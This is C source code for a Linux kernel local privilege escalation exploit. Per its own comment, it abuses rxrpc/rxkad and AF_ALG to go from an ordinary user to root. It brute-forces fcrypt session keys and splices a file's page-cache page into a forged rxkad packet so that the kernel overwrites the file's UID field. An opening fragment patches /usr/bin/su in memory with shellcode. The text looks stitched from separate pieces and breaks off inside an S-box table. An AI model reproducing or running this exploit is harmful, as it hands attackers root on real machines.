if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) {
SLOG("corruption stage failed (status=0x%x)", cstatus);
return 1;
}
/\* Sanity check: bytes at the embedded ELF entry (file offset 0x78
\* after our overwrite) should be 0x31 0xff (xor edi, edi — first
\* instruction of the new shellcode). \*/
if (verify\_byte(TARGET\_PATH, ENTRY\_OFFSET, 0x31) != 0 ||
verify\_byte(TARGET\_PATH, ENTRY\_OFFSET + 1, 0xff) != 0) {
SLOG("post-write verify failed (target unchanged)");
return 1;
}
SLOG("/usr/bin/su page-cache patched (entry 0x%x = shellcode)",
ENTRY\_OFFSET);
return 0;
} /* * rxrpc/rxkad LPE — uid=1000 → root */
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <stdarg.h> #include <errno.h> #include <unistd.h> #include <fcntl.h> #include <time.h> #include <sched.h> #include <poll.h> #include <signal.h> #include <sys/wait.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/uio.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <netinet/in.h> #include <arpa/inet.h> #include <linux/rxrpc.h> #include <linux/keyctl.h> #include <linux/if_alg.h> #include <net/if.h> #include <termios.h>
#ifndef AF_RXRPC #define AF_RXRPC 33 #endif #ifndef PF_RXRPC #define PF_RXRPC AF_RXRPC #endif #ifndef SOL_RXRPC #define SOL_RXRPC 272 #endif #ifndef SOL_ALG #define SOL_ALG 279 #endif #ifndef AF_ALG #define AF_ALG 38 #endif #ifndef MSG_SPLICE_PAGES #define MSG_SPLICE_PAGES 0x8000000 #endif
/* ---- rxrpc constants ---- */ #define RXRPC_PACKET_TYPE_DATA 1 #define RXRPC_PACKET_TYPE_ACK 2 #define RXRPC_PACKET_TYPE_ABORT 4 #define RXRPC_PACKET_TYPE_CHALLENGE 6 #define RXRPC_PACKET_TYPE_RESPONSE 7 #define RXRPC_CLIENT_INITIATED 0x01 #define RXRPC_REQUEST_ACK 0x02 #define RXRPC_LAST_PACKET 0x04 #define RXRPC_CHANNELMASK 3 #define RXRPC_CIDSHIFT 2
struct rxrpc_wire_header { uint32_t epoch; uint32_t cid; uint32_t callNumber; uint32_t seq; uint32_t serial; uint8_t type; uint8_t flags; uint8_t userStatus; uint8_t securityIndex; uint16_t cksum; /* big-endian on wire */ uint16_t serviceId; } __attribute__((packed));
struct rxkad_challenge { uint32_t version; uint32_t nonce; uint32_t min_level; uint32_t __padding; } __attribute__((packed));
/* Attacker-chosen 8-byte session key used for the rxkad token. * Mutable because the LPE brute-force iterates over keys looking for * one that decrypts the file's UID field to a "0:" prefix. */ static uint8_t SESSION_KEY[8] = { 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08 };
#define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__) #define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__) #define DBG(fmt, ...) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__)
/* =================================================================== */ /* unshare + map setup */ /* =================================================================== */
static int write_file(const char *path, const char *fmt, ...) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; char buf[256]; va_list ap; va_start(ap, fmt); int n = vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap); int r = (int)write(fd, buf, n); close(fd); return r; }
static int do_unshare_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { WARN("unshare(NEWUSER|NEWNET): %s", strerror(errno)); return -1; } LOG("unshare(USER|NET) OK, real uid=%u", real_uid); write_file("/proc/self/setgroups", "deny"); if (write_file("/proc/self/uid_map", "%u %u 1", real_uid, real_uid) < 0) { WARN("uid_map: %s", strerror(errno)); return -1; } if (write_file("/proc/self/gid_map", "%u %u 1", real_gid, real_gid) < 0) { WARN("gid_map: %s", strerror(errno)); return -1; } LOG("uid/gid identity-mapped %u/%u; gained CAP_NET_RAW within netns", real_uid, real_gid);
/\* ifup lo \*/
int s = socket(AF\_INET, SOCK\_DGRAM, 0);
if (s >= 0) {
struct ifreq ifr; memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr\_name, "lo");
if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) {
ifr.ifr\_flags |= IFF\_UP | IFF\_RUNNING;
if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0)
WARN("SIOCSIFFLAGS lo: %s", strerror(errno));
else
LOG("lo brought UP in new netns");
}
close(s);
}
return 0;
}
/* =================================================================== */ /* rxrpc key (rxkad v1 token with attacker session key) */ /* =================================================================== */
static long key_add(const char *type, const char *desc, const void *payload, size_t plen, int ringid) { return syscall(SYS_add_key, type, desc, payload, plen, ringid); }
static int build_rxrpc_v1_token(uint8_t *out, size_t maxlen) { uint8_t *p = out; uint32_t now = (uint32_t)time(NULL); uint32_t expires = now + 86400; *(uint32_t *)p = htonl(0); p += 4; /* flags */ const char *cell = "evil"; uint32_t clen = strlen(cell); *(uint32_t *)p = htonl(clen); p += 4; memcpy(p, cell, clen); uint32_t pad = (4 - (clen & 3)) & 3; memset(p + clen, 0, pad); p += clen + pad; *(uint32_t *)p = htonl(1); p += 4; /* ntoken */ uint8_t *toklen_p = p; p += 4; uint8_t *tokstart = p; *(uint32_t *)p = htonl(2); p += 4; /* sec_ix = RXKAD */ *(uint32_t *)p = htonl(0); p += 4; /* vice_id */ *(uint32_t *)p = htonl(1); p += 4; /* kvno */ memcpy(p, SESSION_KEY, 8); p += 8; /* session_key K */ *(uint32_t *)p = htonl(now); p += 4; *(uint32_t *)p = htonl(expires); p += 4; *(uint32_t *)p = htonl(1); p += 4; /* primary_flag */ *(uint32_t *)p = htonl(8); p += 4; /* ticket_len */ memset(p, 0xCC, 8); p += 8; /* ticket */ uint32_t toklen = (uint32_t)(p - tokstart); *(uint32_t *)toklen_p = htonl(toklen); if ((size_t)(p - out) > maxlen) { errno = E2BIG; return -1; } return (int)(p - out); }
static long add_rxrpc_key(const char *desc) { uint8_t buf[512]; int n = build_rxrpc_v1_token(buf, sizeof(buf)); if (n < 0) return -1; return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING); }
/* =================================================================== */ /* AF_ALG pcbc(fcrypt) helpers */ /* =================================================================== */
static int alg_open_pcbc_fcrypt(const uint8_t key[8]) { int s = socket(AF_ALG, SOCK_SEQPACKET, 0); if (s < 0) { WARN("socket(AF_ALG): %s", strerror(errno)); return -1; } struct sockaddr_alg sa = { .salg_family = AF_ALG }; strcpy((char *)sa.salg_type, "skcipher"); strcpy((char *)sa.salg_name, "pcbc(fcrypt)"); if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { WARN("bind(AF_ALG pcbc(fcrypt)): %s", strerror(errno)); close(s); return -1; } if (setsockopt(s, SOL_ALG, ALG_SET_KEY, key, 8) < 0) { WARN("ALG_SET_KEY: %s", strerror(errno)); close(s); return -1; } return s; }
/* Encrypt-or-decrypt a 1+ block of data with a given IV. */ static int alg_op(int alg_s, int op, const uint8_t iv[8], const void *in, size_t inlen, void *out) { int op_fd = accept(alg_s, NULL, NULL); if (op_fd < 0) { WARN("accept(AF_ALG): %s", strerror(errno)); return -1; }
char cbuf\[CMSG\_SPACE(sizeof(int)) +
CMSG\_SPACE(sizeof(struct af\_alg\_iv) + 8)\] = {0};
struct msghdr msg = {0};
msg.msg\_control = cbuf;
msg.msg\_controllen = sizeof(cbuf);
struct cmsghdr \*c = CMSG\_FIRSTHDR(&msg);
c->cmsg\_level = SOL\_ALG;
c->cmsg\_type = ALG\_SET\_OP;
c->cmsg\_len = CMSG\_LEN(sizeof(int));
\*(int \*)CMSG\_DATA(c) = op;
c = CMSG\_NXTHDR(&msg, c);
c->cmsg\_level = SOL\_ALG;
c->cmsg\_type = ALG\_SET\_IV;
c->cmsg\_len = CMSG\_LEN(sizeof(struct af\_alg\_iv) + 8);
struct af\_alg\_iv \*aiv = (struct af\_alg\_iv \*)CMSG\_DATA(c);
aiv->ivlen = 8;
memcpy(aiv->iv, iv, 8);
struct iovec iov = { .iov\_base = (void \*)in, .iov\_len = inlen };
msg.msg\_iov = &iov; msg.msg\_iovlen = 1;
if (sendmsg(op\_fd, &msg, 0) < 0) {
WARN("AF\_ALG sendmsg: %s", strerror(errno));
close(op\_fd); return -1;
}
ssize\_t n = read(op\_fd, out, inlen);
close(op\_fd);
if (n != (ssize\_t)inlen) {
WARN("AF\_ALG read got %zd want %zu: %s",
n, inlen, strerror(errno));
return -1;
}
return 0;
}
/* Compute conn->rxkad.csum_iv (ref: rxkad_prime_packet_security): * tmpbuf[0..3] = htonl(epoch, cid, 0, security_ix) (16 B) * PCBC-encrypt(tmpbuf, IV=session_key) → out[16] * csum_iv = out[8..15] (last 8 B = "tmpbuf[2..3]" after encryption) */ static int compute_csum_iv(uint32_t epoch, uint32_t cid, uint32_t sec_ix, const uint8_t key[8], uint8_t csum_iv[8]) { int s = alg_open_pcbc_fcrypt(key); if (s < 0) return -1; uint32_t in[4] = { htonl(epoch), htonl(cid), 0, htonl(sec_ix) }; uint8_t out[16]; int rc = alg_op(s, ALG_OP_ENCRYPT, key, in, 16, out); close(s); if (rc < 0) return -1; memcpy(csum_iv, out + 8, 8); return 0; }
/* Compute the wire cksum (ref: rxkad_secure_packet @rxkad.c:342): * x = (cid_low2 << 30) | (seq & 0x3fffffff) * buf[0] = htonl(call_id), buf[1] = htonl(x) (8 B) * PCBC-encrypt(buf, IV=csum_iv) → enc[8] * y = ntohl(enc[1]); cksum = (y >> 16) & 0xffff; if zero -> 1 */ static int compute_cksum(uint32_t cid, uint32_t call_id, uint32_t seq, const uint8_t key[8], const uint8_t csum_iv[8], uint16_t *cksum_out) { int s = alg_open_pcbc_fcrypt(key); if (s < 0) return -1; uint32_t x = (cid & RXRPC_CHANNELMASK) << (32 - RXRPC_CIDSHIFT); x |= seq & 0x3fffffff; uint32_t in[2] = { htonl(call_id), htonl(x) }; uint32_t out[2]; int rc = alg_op(s, ALG_OP_ENCRYPT, csum_iv, in, 8, out); close(s); if (rc < 0) return -1; uint32_t y = ntohl(out[1]); uint16_t v = (y >> 16) & 0xffff; if (v == 0) v = 1; *cksum_out = v; return 0; }
/* =================================================================== */ /* AF_RXRPC client */ /* =================================================================== */
static int setup_rxrpc_client(uint16_t local_port, const char *keyname) { int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); if (fd < 0) { WARN("socket(AF_RXRPC client): %s", strerror(errno)); return -1; } if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY, keyname, strlen(keyname)) < 0) { WARN("client SECURITY_KEY: %s", strerror(errno)); close(fd); return -1; } int min_level = RXRPC_SECURITY_AUTH; if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL, &min_level, sizeof(min_level)) < 0) { WARN("client MIN_SECURITY_LEVEL: %s", strerror(errno)); close(fd); return -1; } struct sockaddr_rxrpc srx = {0}; srx.srx_family = AF_RXRPC; srx.srx_service = 0; srx.transport_type = SOCK_DGRAM; srx.transport_len = sizeof(struct sockaddr_in); srx.transport.sin.sin_family = AF_INET; srx.transport.sin.sin_port = htons(local_port); srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) { WARN("client bind :%u: %s", local_port, strerror(errno)); close(fd); return -1; } LOG("AF_RXRPC client bound :%u", local_port); return fd; }
static int rxrpc_client_initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id, unsigned long user_call_id) { char data[8] = "PINGPING"; struct sockaddr_rxrpc srx = {0}; srx.srx_family = AF_RXRPC; srx.srx_service = service_id; srx.transport_type = SOCK_DGRAM; srx.transport_len = sizeof(struct sockaddr_in); srx.transport.sin.sin_family = AF_INET; srx.transport.sin.sin_port = htons(srv_port); srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
char cmsg\_buf\[CMSG\_SPACE(sizeof(unsigned long))\];
struct msghdr msg = {0};
msg.msg\_name = &srx; msg.msg\_namelen = sizeof(srx);
struct iovec iov = { .iov\_base = data, .iov\_len = sizeof(data) };
msg.msg\_iov = &iov; msg.msg\_iovlen = 1;
msg.msg\_control = cmsg\_buf; msg.msg\_controllen = sizeof(cmsg\_buf);
struct cmsghdr \*cmsg = CMSG\_FIRSTHDR(&msg);
cmsg->cmsg\_level = SOL\_RXRPC;
cmsg->cmsg\_type = RXRPC\_USER\_CALL\_ID;
cmsg->cmsg\_len = CMSG\_LEN(sizeof(unsigned long));
\*(unsigned long \*)CMSG\_DATA(cmsg) = user\_call\_id;
/\* Don't block forever if no reply ever comes through this single sendmsg. \*/
int fl = fcntl(cli\_fd, F\_GETFL);
fcntl(cli\_fd, F\_SETFL, fl | O\_NONBLOCK);
ssize\_t n = sendmsg(cli\_fd, &msg, 0);
fcntl(cli\_fd, F\_SETFL, fl);
if (n < 0) {
if (errno == EAGAIN || errno == EWOULDBLOCK) {
LOG("client sendmsg returned EAGAIN (expected; kernel will keep "
"retrying handshake)");
return 0;
}
WARN("client sendmsg: %s", strerror(errno));
return -1;
}
LOG("client sendmsg %zd B → :%u (handshake will follow asynchronously)",
n, srv\_port);
return 0;
}
/* =================================================================== */ /* fake-server (plain UDP) */ /* =================================================================== */
static int setup_udp_server(uint16_t port) { int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { WARN("socket(udp server): %s", strerror(errno)); return -1; } struct sockaddr_in sa = {0}; sa.sin_family = AF_INET; sa.sin_port = htons(port); sa.sin_addr.s_addr = htonl(0x7F000001); if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { WARN("udp server bind :%u: %s", port, strerror(errno)); close(s); return -1; } LOG("plain UDP fake-server bound :%u", port); return s; }
/* Receive one UDP datagram with timeout (ms). Returns bytes or -1. */ static ssize_t udp_recv_to(int s, void *buf, size_t cap, struct sockaddr_in *from, int timeout_ms) { struct pollfd pfd = { .fd = s, .events = POLLIN }; int rc = poll(&pfd, 1, timeout_ms); if (rc <= 0) return -1; socklen_t fl = from ? sizeof(*from) : 0; return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL); }
/* =================================================================== */ /* main PoC */ /* =================================================================== */
static int trigger_seq = 0;
static int do_one_trigger(int target_fd, off_t splice_off, size_t splice_len) { char keyname[32]; snprintf(keyname, sizeof(keyname), "evil%d", trigger_seq++);
long key = add\_rxrpc\_key(keyname);
if (key < 0) {
if (trigger\_seq < 5) WARN("add\_rxrpc\_key(%s): %s", keyname, strerror(errno));
return -1;
}
/\* Use varying ports so kernel TIME\_WAIT / stale state does not bite. \*/
uint16\_t port\_S = 7777 + (trigger\_seq \* 2 % 200);
uint16\_t port\_C = port\_S + 1;
uint16\_t svc\_id = 1234;
int udp\_srv = setup\_udp\_server(port\_S);
if (udp\_srv < 0) {
if (trigger\_seq < 5) WARN("setup\_udp\_server(%u) failed", port\_S);
syscall(SYS\_keyctl, 3 /\*KEYCTL\_INVALIDATE\*/, key); return -1;
}
int rxsk\_cli = setup\_rxrpc\_client(port\_C, keyname);
if (rxsk\_cli < 0) {
if (trigger\_seq < 5) WARN("setup\_rxrpc\_client(%u, %s) failed", port\_C, keyname);
close(udp\_srv); syscall(SYS\_keyctl, 3, key); return -1;
}
if (rxrpc\_client\_initiate\_call(rxsk\_cli, port\_S, svc\_id, 0xDEAD) < 0) {
if (trigger\_seq < 5) WARN("rxrpc\_client\_initiate\_call failed");
close(rxsk\_cli); close(udp\_srv); syscall(SYS\_keyctl, 3, key); return -1;
}
uint8\_t pkt\[2048\];
struct sockaddr\_in cli\_addr;
ssize\_t n = udp\_recv\_to(udp\_srv, pkt, sizeof(pkt), &cli\_addr, 1500);
if (n < (ssize\_t)sizeof(struct rxrpc\_wire\_header)) {
if (trigger\_seq < 5) WARN("udp\_recv\_to: n=%zd errno=%s", n, strerror(errno));
close(rxsk\_cli); close(udp\_srv); syscall(SYS\_keyctl, 3, key); return -1;
}
struct rxrpc\_wire\_header \*whdr\_in = (struct rxrpc\_wire\_header \*)pkt;
uint32\_t epoch = ntohl(whdr\_in->epoch);
uint32\_t cid = ntohl(whdr\_in->cid);
uint32\_t callN = ntohl(whdr\_in->callNumber);
uint16\_t svc\_in = ntohs(whdr\_in->serviceId);
uint16\_t cli\_port = ntohs(cli\_addr.sin\_port);
/\* Send CHALLENGE \*/
{
struct {
struct rxrpc\_wire\_header hdr;
struct rxkad\_challenge ch;
} \_\_attribute\_\_((packed)) c = {0};
c.hdr.epoch = htonl(epoch);
c.hdr.cid = htonl(cid);
c.hdr.callNumber = 0; c.hdr.seq = 0;
c.hdr.serial = htonl(0x10000);
c.hdr.type = RXRPC\_PACKET\_TYPE\_CHALLENGE;
c.hdr.securityIndex = 2;
c.hdr.serviceId = htons(svc\_in);
c.ch.version = htonl(2); c.ch.nonce = htonl(0xDEADBEEFu);
c.ch.min\_level = htonl(1);
struct sockaddr\_in to = { .sin\_family=AF\_INET, .sin\_port=htons(cli\_port),
.sin\_addr.s\_addr=htonl(0x7F000001) };
if (sendto(udp\_srv, &c, sizeof(c), 0, (struct sockaddr\*)&to, sizeof(to)) < 0) {
close(rxsk\_cli); close(udp\_srv); syscall(SYS\_keyctl, 3, key); return -1;
}
}
/\* Drain RESPONSE (best-effort) \*/
for (int i = 0; i < 4; i++) {
struct sockaddr\_in src;
if (udp\_recv\_to(udp\_srv, pkt, sizeof(pkt), &src, 500) < 0) break;
}
/\* csum + cksum with CURRENT SESSION\_KEY \*/
uint8\_t csum\_iv\[8\] = {0};
if (compute\_csum\_iv(epoch, cid, 2, SESSION\_KEY, csum\_iv) < 0) {
close(rxsk\_cli); close(udp\_srv); syscall(SYS\_keyctl, 3, key); return -1;
}
uint16\_t cksum\_h = 0;
if (compute\_cksum(cid, callN, 1, SESSION\_KEY, csum\_iv, &cksum\_h) < 0) {
close(rxsk\_cli); close(udp\_srv); syscall(SYS\_keyctl, 3, key); return -1;
}
/\* Build malicious DATA header \*/
struct rxrpc\_wire\_header mal = {0};
mal.epoch = htonl(epoch);
mal.cid = htonl(cid);
mal.callNumber = htonl(callN);
mal.seq = htonl(1);
mal.serial = htonl(0x42000);
mal.type = RXRPC\_PACKET\_TYPE\_DATA;
mal.flags = RXRPC\_LAST\_PACKET;
mal.securityIndex = 2;
mal.cksum = htons(cksum\_h);
mal.serviceId = htons(svc\_in);
/\* connect udp\_srv → client port for splice \*/
struct sockaddr\_in dst = { .sin\_family=AF\_INET, .sin\_port=htons(cli\_port),
.sin\_addr.s\_addr=htonl(0x7F000001) };
if (connect(udp\_srv, (struct sockaddr\*)&dst, sizeof(dst)) < 0) {
close(rxsk\_cli); close(udp\_srv); syscall(SYS\_keyctl, 3, key); return -1;
}
/\* pipe + vmsplice header + splice file → pipe → udp\_srv \*/
int p\[2\];
if (pipe(p) < 0) {
close(rxsk\_cli); close(udp\_srv); syscall(SYS\_keyctl, 3, key); return -1;
}
{
struct iovec viv = { .iov\_base = &mal, .iov\_len = sizeof(mal) };
if (vmsplice(p\[1\], &viv, 1, 0) < 0) goto trig\_fail;
}
{
loff\_t off = splice\_off;
if (splice(target\_fd, &off, p\[1\], NULL, splice\_len, SPLICE\_F\_NONBLOCK) < 0)
goto trig\_fail;
}
if (splice(p\[0\], NULL, udp\_srv, NULL, sizeof(mal) + splice\_len, 0) < 0) {
goto trig\_fail;
}
close(p\[0\]); close(p\[1\]);
/\* recvmsg the malicious DATA into the kernel's verify\_packet path \*/
int fl = fcntl(rxsk\_cli, F\_GETFL);
fcntl(rxsk\_cli, F\_SETFL, fl | O\_NONBLOCK);
for (int round = 0; round < 5; round++) {
char rb\[2048\];
struct sockaddr\_rxrpc srx;
char ccb\[256\];
struct msghdr m = {0};
struct iovec iv = { .iov\_base = rb, .iov\_len = sizeof(rb) };
m.msg\_name = &srx; m.msg\_namelen = sizeof(srx);
m.msg\_iov = &iv; m.msg\_iovlen = 1;
m.msg\_control = ccb; m.msg\_controllen = sizeof(ccb);
ssize\_t r = recvmsg(rxsk\_cli, &m, 0);
if (r > 0) break;
if (errno == EAGAIN || errno == EWOULDBLOCK) usleep(20000);
else break;
}
fcntl(rxsk\_cli, F\_SETFL, fl);
close(rxsk\_cli);
close(udp\_srv);
syscall(SYS\_keyctl, 3, key);
return 0;
trig_fail: close(p[0]); close(p[1]); close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; }
/* =================================================================== * USER-SPACE pcbc(fcrypt) BRUTE-FORCE * * The kernel's rxkad_verify_packet_1() does an in-place 8-byte * pcbc(fcrypt) decrypt with iv=0 over the page-cache page at the splice * offset. pcbc with single 8-B block and IV=0 reduces to a plain * fcrypt_decrypt(C, K). We can therefore search for the right K * entirely in user-space — without touching the kernel/VM at all — * before applying ONE deterministic kernel trigger. * * Port of crypto/fcrypt.c from the kernel source (David Howells / KTH). * Verified against kernel test vectors: * K=0, decrypt(0E0900C73EF7ED41) = 00000000 * K=1144...66, decrypt(D8ED787477EC0680) = 123456789ABCDEF0 * =================================================================== */
static const uint8_t fc_sbox0_raw[256] = { 0xea, 0x7f, 0xb2, 0x64, 0x9d, 0xb0, 0xd9, 0x11, 0xcd, 0x86, 0x86, 0x91, 0x0a, 0xb2, 0x93, 0x06, 0x0e, 0x06, 0xd2, 0x65, 0x73, 0xc5, 0x28, 0x60, 0xf2, 0x20, 0xb5, 0x38, 0x7e, 0xda, 0x9f, 0xe3, 0xd2, 0xcf, 0xc4, 0x3c, 0x61, 0xff, 0x4a, 0x4a, 0x35, 0xac, 0xaa, 0x5f, 0x2b, 0xbb, 0xbc, 0x53, 0x4e, 0x9d, 0x78, 0xa3, 0xdc, 0x09, 0x32, 0x10, 0xc6, 0x6f, 0x66, 0xd6, 0xab, 0xa9, 0xaf, 0xfd, 0x3b, 0x95, 0xe8, 0x34, 0x9a, 0x81, 0x72, 0x80, 0x9c, 0xf3, 0xec, 0xda, 0x9f, 0x26, 0x76, 0x15, 0x3e, 0x55, 0x4d, 0xde, 0x84, 0xee, 0xad, 0xc7, 0xf1, 0x6b, 0x3d, 0xd3, 0x04, 0x49, 0xaa, 0x24, 0x0b, 0x8a, 0x83, 0xba, 0xfa, 0x85, 0xa0, 0xa8, 0xb1, 0xd4, 0x01, 0xd8, 0x70, 0x64, 0xf0, 0x51, 0xd2, 0xc3, 0xa7, 0x75, 0x8c, 0xa5, 0x64, 0xef, 0x10, 0x4e, 0xb7, 0xc6, 0x61, 0x03, 0xeb, 0x44, 0x3d, 0xe5, 0xb3, 0x5b, 0xae, 0xd5, 0xad, 0x1d, 0xfa, 0x5a, 0x1e, 0x33, 0xab, 0x93, 0xa2, 0xb7, 0xe7, 0xa8, 0x45, 0xa4, 0xcd, 0x29, 0x63, 0x44, 0xb6, 0x69, 0x7e, 0x2e, 0x62, 0x03, 0xc8, 0xe0, 0x17, 0xbb, 0xc7, 0xf3, 0x3f, 0x36, 0xba, 0x71, 0x8e, 0x97, 0x65, 0x60, 0x69, 0xb6, 0xf6, 0xe6, 0x6e, 0xe0, 0x81, 0x59, 0xe8, 0xaf, 0xdd, 0x95, 0x22, 0x99, 0xfd, 0x63, 0x19, 0x74, 0x61, 0xb1, 0xb6, 0x5b, 0xae, 0x54, 0xb3, 0x70, 0xff, 0xc6, 0x3b, 0x3e, 0xc1, 0xd7, 0xe1, 0x0e, 0x76, 0xe5, 0x36, 0x4f, 0x59, 0xc7, 0x08, 0x6e, 0x82, 0xa6, 0x93, 0xc4, 0xaa, 0x26, 0x49, 0xe0, 0x21, 0x64, 0x07, 0x9f, 0x64, 0x81, 0x9c, 0xbf, 0xf9, 0xd1, 0x43, 0xf8, 0xb6, 0xb9, 0xf1, 0x24, 0x75, 0x03, 0xe4, 0xb0, 0x99, 0x46, 0x3d, 0xf5, 0xd1, 0x39, 0x72, 0x12, 0xf6, 0xba, 0x0c, 0x0d, 0x42, 0x2e, }; static const uint8_t fc_sbox1_raw[256] = { 0x77, 0x14, 0xa6, 0xfe, 0xb2, 0x5e, 0x8c, 0x3e, 0x67, 0x6c, 0xa1, 0x0d, 0xc2, 0xa2, 0xc1, 0x85, 0x6c, 0x7b, 0x67, 0xc6, 0x23, 0xe3, 0xf2, 0x89, 0x50, 0x9c, 0x03, 0xb7, 0x73, 0xe6, 0xe1, 0x39, 0x31, 0x2c, 0x27, 0x9f, 0xa5, 0x69, 0x44, 0xd6, 0x23, 0x83, 0x98, 0x7d, 0x3c, 0xb4, 0x2d, 0x99, 0x1c, 0x1f, 0x8c, 0x20, 0x03, 0x7c, 0x5f, 0xad, 0xf4, 0xfa, 0x95, 0xca, 0x76, 0x44, 0xcd, 0xb6, 0xb8, 0xa1, 0xa1, 0xbe, 0x9e, 0x54, 0x8f, 0x0b, 0x16, 0x74, 0x31, 0x8a, 0x23, 0x17, 0x04, 0xfa, 0x79, 0x84, 0xb1, 0xf5, 0x13, 0xab, 0xb5, 0x2e, 0xaa, 0x0c, 0x60, 0x6b, 0x5b, 0xc4, 0x4b, 0xbc, 0xe2, 0xaf, 0x45, 0x73, 0xfa, 0xc9, 0x49, 0xcd, 0x00, 0x92, 0x7d, 0x97, 0x7a, 0x18, 0x60, 0x3d, 0xcf, 0x5b, 0xde, 0xc6, 0xe2, 0xe6, 0xbb, 0x8b, 0x06, 0xda, 0x08, 0x15, 0x1b, 0x88, 0x6a, 0x17, 0x89, 0xd0, 0xa9, 0xc1, 0xc9, 0x70, 0x6b, 0xe5, 0x43, 0xf4, 0x68, 0xc8, 0xd3, 0x84, 0x28, 0x0a, 0x52, 0x66, 0xa3, 0xca, 0xf2, 0xe3, 0x7f, 0x7a, 0x31, 0xf7, 0x88, 0x94, 0x5e, 0x9c, 0x63, 0xd5, 0x24, 0x66, 0xfc, 0xb3, 0x57, 0x25, 0xbe, 0x89, 0x44, 0xc4, 0xe0, 0x8f, 0x23, 0x3c, 0x12, 0x52, 0xf5, 0x1e, 0xf4, 0xcb, 0x18, 0x33, 0x1f, 0xf8, 0x69, 0x10, 0x9d, 0xd3, 0xf7, 0x28, 0xf8, 0x30, 0x05, 0x5e, 0x32, 0xc0, 0xd5, 0x19, 0xbd, 0x45, 0x8b, 0x5b, 0xfd, 0xbc, 0xe2, 0x5c, 0xa9, 0x96, 0xef, 0x70, 0xcf, 0xc2, 0x2a, 0xb3, 0x61, 0xad, 0x80, 0x48, 0x81, 0xb7, 0x1d, 0x43, 0xd9, 0xd7, 0x45, 0xf0, 0xd8, 0x8a, 0x59, 0x7c, 0x57, 0xc1, 0x79, 0xc7, 0x34, 0xd6, 0x43, 0xdf, 0xe4, 0x78, 0x16, 0x06, 0xda, 0x92, 0x76, 0x51, 0xe1, 0xd4, 0x70, 0x03, 0xe0, 0x2f, 0x96, 0x91, 0x82, 0x80, }; static const uint8_t fc_sbox2_raw[256] = { 0xf0, 0x37, 0x24, 0x53, 0x2a, 0x03, 0x83, 0x86, 0xd1, 0xec, 0x50, 0xf0, 0x42, 0x78, 0x2f, 0x6d, 0xbf, 0x80, 0x87, 0x27, 0x95, 0xe2, 0xc5, 0x5d, 0xf9, 0x6f, 0xdb, 0xb4, 0x65, 0x6e, 0xe7, 0x24, 0xc8, 0x1a, 0xbb, 0x49, 0xb5, 0x0a, 0x7d, 0xb9, 0xe8, 0xdc, 0xb7, 0xd9, 0x45, 0x20, 0x1b, 0xce, 0x59, 0x9d, 0x6b, 0xbd, 0x0e, 0x8f, 0xa3, 0xa9, 0xbc, 0x74, 0xa6, 0xf6, 0x7f, 0x5f, 0xb1, 0x68, 0x84, 0xbc, 0xa9, 0xfd, 0x55, 0x50, 0xe9, 0xb6, 0x13, 0x5e, 0x07, 0xb8, 0x95, 0x02, 0xc0, 0xd0, 0x6a, 0x1a, 0x85, 0xbd, 0xb6, 0xfd, 0xfe, 0x17, 0x3f, 0x09, 0xa3, 0x8d, 0xfb, 0xed, 0xda, 0x1d, 0x6d, 0x1c, 0x6c, 0x01, 0x5a, 0xe5, 0x71, 0x3e, 0x8b, 0x6b, 0xbe, 0x29, 0xeb, 0x12, 0x19, 0x34, 0xcd, 0xb3, 0xbd, 0x35, 0xea, 0x4b, 0xd5, 0xae, 0x2a, 0x79, 0x5a, 0xa5, 0x32, 0x12, 0x7b, 0xdc, 0x2c, 0xd0, 0x22, 0x4b, 0xb1, 0x85, 0x59, 0x80, 0xc0, 0x30, 0x9f, 0x73, 0xd3, 0x14, 0x48, 0x40, 0x07, 0x2d, 0x8f, 0x80, 0x0f, 0xce, 0x0b, 0x5e, 0xb7, 0x5e, 0xac, 0x24, 0x94, 0x4a, 0x18, 0x15, 0x05, 0xe8, 0x02, 0x77, 0xa9, 0xc7, 0x40, 0x45, 0x89, 0xd1, 0xea, 0xde, 0x0c, 0x79, 0x2a, 0x99, 0x6c, 0x3e, 0x95, 0xdd, 0x8c, 0x7d, 0xad, 0x6f, 0xdc, 0xff, 0xfd, 0x62, 0x47, 0xb3, 0x21, 0x8a, 0xec, 0x8e, 0x19, 0x18, 0xb4, 0x6e, 0x3d, 0xfd, 0x74, 0x54, 0x1e, 0x04, 0x85, 0xd8, 0xbc, 0x1f, 0x56, 0xe7, 0x3a, 0x56, 0x67, 0xd6, 0xc8, 0xa5, 0xf3, 0x8e, 0xde, 0xae, 0x37, 0x49, 0xb7, 0xfa, 0xc8, 0xf4, 0x1f, 0xe0, 0x2a, 0x9b, 0x15, 0xd1, 0x34, 0x0e, 0xb5, 0xe0, 0x44, 0x78, 0x84, 0x59, 0x56, 0x68, 0x77, 0xa5, 0x14, 0x06, 0xf5, 0x2f, 0x8c, 0x8a, 0x73, 0x80, 0x76, 0xb4, 